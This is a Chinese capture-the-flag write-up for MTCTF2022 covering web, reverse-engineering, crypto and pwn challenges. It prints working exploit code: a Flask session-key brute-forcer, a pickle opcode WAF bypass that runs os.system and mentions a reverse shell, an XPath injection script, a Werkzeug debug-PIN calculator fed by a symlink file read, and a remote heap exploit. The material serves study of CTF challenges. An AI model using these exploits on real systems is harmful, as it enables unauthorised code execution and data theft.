MTCTF2022 WP

Web

easypickle

源码

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

可以看到这里有两个路由,admin路由里存在pickle反序列化点,但是需要session为admin,而user的默认是随机的,尝试伪造,因为这里的key只有两位字节,所以可以很轻松的爆破出来

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in dic:
        for j in dic:
            for k in dic:
                for l in dic:
                    key = i + j + k + l
                    res = FSCM.decode('eyJ1c2VyIjoibWluaWEifQ.YyVC1Q.0n_AlHIhNv_kEOviz_3jfYhCGp0', key)
                    # print(res)
                    if 'user' in str(res):
                        print(key)
                        exit()

之后就是反序列化bypass了,关注这下面几行代码

try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"

这里把R i b o这些执行命令以及变量覆盖的操作指令都给禁用了,基本无法绕过,但是继续回头看一下这个waf检查的逻辑

  • 先用a变量存储opcode,并替换涉及到R i b o的关键词
  • 再用替换后的opcode去判断waf
  • 最后执行的opcode为未修改(未替换的值)

所以这里就有一个方法,就是让payload替换之后能绕过waf,替换之前能够执行命令

这里我选择的是os这个替换,即os->Os

因为o s操作码的执行都是不需要接换行的,所以可以连在一起用,单独用o可以执行命令,但是连上s为了保证这个s不报错,就要根据s操作码的作用特地构造一下

参照文档:(https://xz.aliyun.com/t/7436, https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)

img这里执行完o后返回的是一个命令执行的结果对象并压入栈中

img这里看例子是取栈上三个对象,第一个对象为字典,二三对象分别为键和值,因为我们要在o压入对象之后紧接着执行s,所以这里的命令执行就作为值传入字典中

这里我拿我自己的payload来讲解一下

payload = b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
    0: (    MARK
    1: S        STRING     'key1'
    9: S        STRING     'val1'
   17: d        DICT       (MARK at 0)
   18: S    STRING     'vul'
   25: (    MARK
   26: c        GLOBAL     'os system'
   37: V        UNICODE    'calc'
   43: o        OBJ        (MARK at 25)
   44: s    SETITEM
   45: .    STOP

/ 首先生成一个字典{‘key1’:‘val1’},然后压入一个字符串’vul’,接着使用o执行一个命令,并将结果对象压入栈中

此时栈上存在的有

  • system对象返回结果对象
  • 字符串 “vul”
  • 字典 {‘key1’:‘val1’}

接着s会将栈上的三个对象取出来合并后两个对象到第一个对象里面去,尝试一下

imgimg成功执行命令,并且没有error,接着就是构造payload到远程执行了,这里我选择的反弹shell,因为反弹shell的payload里面存在i这种字符,会被过滤到,所以可以使用pickle0版本的V操作码,传入unicode

imgimgimg接着伪造session传上去就行

imgimg

babyjava

简单的xpath注入,这里直接给出exp

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 14:00
# @Author : pysnow
import string

import requests

url = 'http://eci-2ze1m6bqazd6qr453ll7.cloudeci1.ichunqiu.com:8888/hello'
dic = 'flagbcdef-_{}0123456789'
ses = requests.session()
result = ''
# data = {"xpath": "admin' or substring(name(/root/user), " + str(i) + ", 1)='" + j}
# root user username
# /root/user/
for i in range(29, 50):
    print(i)
    for j in dic:
        data = {"xpath": "admin' or substring((/root/user/*[2]), " + str(i) + ", 1)='" + j}
        res = ses.post(url=url, data=data)
        if 'available' not in res.text:
            result += j
            print(result)
            break

OnlineUnzip

源码

import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888, debug=True)

/ 这里是个解压文件的作用,主要代码为unzip -o {filepath} -d {extractdir}

/ 可以使用软链接的方式任意下载文件,再加上这里开启了debug,可以直接算出PIN码

这里给出我之前写的一篇flask算PIN文章https://pysnow.cn/archives/170/

img

这里要使用zip的-y参数,直接压缩链接文件,而不是压缩链接所指向的文件内容,压缩之后上传直接可以看到我们所需要的文件

imgimgimg

img以下为算PIN的脚本

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 16:06
# @Author : pysnow
import hashlib
from itertools import chain

probably_public_bits = [
    'ctf'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到
]

private_bits = [
    '95530129720',  # /sys/class/net/eth0/address 十进制
    '96cec10d3d9307792745ec3b85c89620213f6e7c373035a2133896e82496fa496635a3548d9b9039acaa25fbea21b586'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

算出PIN为801-338-042

img拿到flag


以下为队友的wp

re

small

对着汇编硬逆,动态调试

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 11:06
# @Author : s0rry

#include <stdio.h>
#include <stdint.h>

// 逆向结果如下
void tea(int* flag){
    int delta = 0x67452301;
    int sum = 0;
    for(int i=0;i<35;i++){
        sum+=delta;
        flag[0] += ((flag[1]<<4)+1)^((flag[1]>>5)+0x23)^(flag[1]+sum);
        flag[1] += ((flag[0]<<4)+0x45)^((flag[0]>>5)+0x67)^(flag[0]+sum);
    }
}


void retea(uint32_t * flag){
    uint32_t delta = 0x67452301;
    uint32_t sum = delta*35;
    for(int i=0;i<35;i++){
        flag[1] -= ((flag[0]<<4)+0x45)^((flag[0]>>5)+0x67)^(flag[0]+sum);
        flag[0] -= ((flag[1]<<4)+1)^((flag[1]>>5)+0x23)^(flag[1]+sum);
        sum-=delta;
    }
}

int main(){
unsigned char res[32] = {
    0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA, 0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D, 
    0xE7, 0x4E, 0xEB, 0x75, 0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88, 0xDC, 0x51
};
    for(int i=0;i<4;i++){
        
        uint32_t tmp[2]={0,};
        tmp[0] = ((uint32_t*)res)[i*2];
        tmp[1] = ((uint32_t*)res)[i*2+1];
        retea(tmp);
        for(int j=0;j<8;j++){
            printf("%c",*((char*)tmp+j));
        }
    }

    return 0;
}

crypto

strange_rsa1

给了gift是p/q

找个大数计算网站,我用的网站

结合n,可以算出p来,p直接省略小数

gift*n(去掉小数位)再开方

img

得出p = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077

根据n直接计算出q=

10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369

简单写一下解题脚本

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 13:034
# @Author : s0rry

import gmpy2
import binascii
# import sympy
N=gmpy2.mpz(108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413)
q = 10354173078239628635626920146059887542108509101478542108107457141390325356890199583373894457500644181987484104714492532470944829664847264360542662124954077
p = 10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369

c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
e = 0x10001
a = (p-1)*(q-1)
d = gmpy2.invert(e,a)
m = pow(c,d,N)
print(hex(m))

pwn

note

填满tcache,申请段小chunk出来,切割unsorted bin,用于泄露libc

modifty函数可以输入负数,调试发现可以修改栈附近内容,打one_gadget

from pwn import *
from ctypes import *

libc = ELF("./libc-2.31.so")
banary = "./note"
elf = ELF(banary)
ip = '39.106.27.2'
port = 25753

local = 2
if(local==1):
    p = process(banary)
else:
    p = remote(ip, port)
context.log_level = "debug"

def debug():
    gdb.attach(p)
    pause()

s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
ru = lambda text : p.recvuntil(text)
uu32 = lambda : u32(p.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda addr : log.info(hex(addr))
pi = lambda : p.interactive()

def build(size,con):
    ru('5. leave')
    sl('1')
    ru('Size:')
    s(str(size))
    ru('Content:')
    sl(con)

def display(index):
    ru('5. leave')
    sl('2')
    ru('Index:')
    sl(str(index))

def modify(index, con):
    ru('5. leave')
    sl('3')
    ru('Index:')
    sl(str(index))
    ru('Content: ')
    sl(con)

def delete(index):
    ru('5. leave')
    sl('4')
    ru('Index:')
    sl(str(index))

for i in range(8):
    build(0x100, 'bbb')

for i in range(7):
    delete(i)

build(0x88, 'a'*0x87)  
delete(7)

build(0x20, '')
display(1)

malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 154
print(hex(malloc_hook))

libc_base = malloc_hook - libc.sym["__malloc_hook"]
#1ecb70  #main_arena+138: 1ecc0a
#print(hex(libc_base))

one_gadget = libc_base + 0xe3afe


modify(-4, p64(0)+p64(0x4017ac)+p64(0)*4+p64(one_gadget))
#debug()
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL
gadget: 
0x00000000004017ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

'''
pi()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值